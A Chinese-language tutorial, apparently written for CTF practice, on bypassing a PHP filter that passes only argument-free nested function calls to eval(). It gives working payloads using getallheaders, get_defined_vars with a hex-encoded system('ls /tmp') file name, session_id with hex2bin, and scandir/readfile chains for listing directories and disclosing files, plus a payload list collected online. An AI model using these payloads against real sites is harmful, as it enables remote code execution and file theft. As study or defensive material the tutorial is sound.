什么是无参数RCE,也就是不加参数只调用函数。远程执行代码
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
当有如上类型的过滤时,只允许执行a(b())这种类型的函数。只要带参数就拦截
方法一:
getallheaders()
#Apache中间件特有的函数
这个函数会以数组方式返回HTTP请求头的信息,如下
array(8) {
["Host"]=> string(14) "106.14.114.127"
["Connection"]=> string(10) "keep-alive"
["Cache-Control"]=> string(9) "max-age=0"
["Upgrade-Insecure-Requests"]=> string(1) "1"
["User-Agent"]=> string(120) "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36"
["Accept"]=> string(118) "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"
["Accept-Encoding"]=> string(13) "gzip, deflate" ["Accept-Language"]=> string(14) "zh-CN,zh;q=0.9"
}
我们可以用eval(end(getallheaders()))
使用end函数取出请求头中的最后一位。然后放入eval函数。造成代码执行
方法二:
构造函数读文件等
通过php函数互相调用。构造读文件的函数
getcwd()
#返回当前路径/var/www/html
scandir()
#目录遍历
scandir(getcwd())
#相当于ls /var/www/html
dirname()
#返回绝对路径中的文件夹部分,比如/var/www/html,返回/var/www
那么我们就可以构造
scandir(dirname(getcwd()))
#查看/var/www的文件
scandir(dirname(dirname(getcwd())))
#查看/var下的文件
最后用
end()返回数组中的最后一个单元
reset()返回数组中的第一个单元
array_reverse()将数组反过来
next()返回数组中的下一个单元
获取对应的字符串
然后readfile()读取
能执行到什么程度。全看PHP函数的熟练度
方法三:
使用get_defined_vars()函数。由于getallheaders()函数有局限性。这里使用get_defined_vars函数
返回已知变量的数组
返回结果如下
array(4) {
["_GET"]=>
array(1) {
["a"]=>
string(29) "var_dump(get_defined_vars());"
}
["_POST"]=>
array(0) {
}
["_COOKIE"]=>
array(0) {
}
["_FILES"]=>
array(0) {
}
}
当我们传入另外一个参数b=1时,返回如下
array(4) {
["_GET"]=>
array(2) {
["a"]=>
string(29) "var_dump(get_defined_vars());"
["b"]=>
string(1) "1"
}
["_POST"]=>
array(0) {
}
["_COOKIE"]=>
array(0) {
}
["_FILES"]=>
array(0) {
}
}
执行current(get_defined_vars()),返回
array(2) {
["a"]=>
string(38) "var_dump(current(get_defined_vars()));"
["b"]=>
string(1) "1"
}
OK。这里返回了两个对应数组。一个A。一个B。如果我们使用上面结束的end函数等。获取了b的值。是不是就能直接RCE,我在Centos环境下就不能返回当前数组。Windows就可以。。。看具体情况吧
当然还能利用FILES文件上传来RCE
array_reverse(get_defined_vars())
返回如下,通过将get_defined_vars()逆序然后使得files在第二个位置。就能通过next函数去调用
array(5) {
["_REQUEST"]=>
array(1) {
["a"]=>
string(44) "var_dump(array_reverse(get_defined_vars()));"
}
["_FILES"]=>
array(1) {
["73797374656d28276c73202f746d702729"]=>
array(5) {
["name"]=>
string(34) "73797374656d28276c73202f746d702729"
["type"]=>
string(0) ""
["tmp_name"]=>
string(22) "C:\Windows\phpB8B8.tmp"
["error"]=>
int(0)
["size"]=>
int(12)
}
}
["_COOKIE"]=>
array(0) {
}
["_POST"]=>
array(0) {
}
["_GET"]=>
array(1) {
["a"]=>
string(44) "var_dump(array_reverse(get_defined_vars()));"
}
}
next(array_reverse(get_defined_vars()))
array(1) {
["73797374656d28276c73202f746d702729"]=>
array(5) {
["name"]=>
string(34) "73797374656d28276c73202f746d702729"
["type"]=>
string(0) ""
["tmp_name"]=>
string(22) "C:\Windows\php5131.tmp"
["error"]=>
int(0)
["size"]=>
int(12)
}
}
解析来就继续获取,直到获取到我们命令的16进制
array_rand(next(array_reverse(get_defined_vars())))
string(34) "73797374656d28276c73202f746d702729"
获取成功。接下来就不用讲了。hex2bin解码。eval直接执行。实现无参数RCE,以下是Python脚本
当然还能利用SESSION
code=eval(hex2bin(session_id(session_start())));
session_id(session_start())会返回sessionid中的值。
然后利用hex2bin解码我们提交的16进制字符串。然后放入eval执行
这里为什么用16进制呢。因为session只能由A-Z,a-z,0-9组成。而eval函数需要;结尾。所以用16进制提交
网上一些其他的无参数payload:
print_r(highlight_file(next(array_reverse(scandir(pos(localeconv()))))));
var_dump(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(pos(localtime(time()))))))))))))));
扫描当前/根目录
highlight_file(end(scandir(getcwd())));
show_source(end(scandir(pos(localeconv()))));
print_r(scandir(current(localeconv())));
print_r(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))));
还有
<?php
eval(filter_input(INPUT_POST, test))
?>
POST test:phpinfo();
{if show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))))}{/if}
随机取键值
show_source(current(array_slice(scandir(dirname(chdir(dirname(dirname(getcwd()))))),7)))
取数组第7个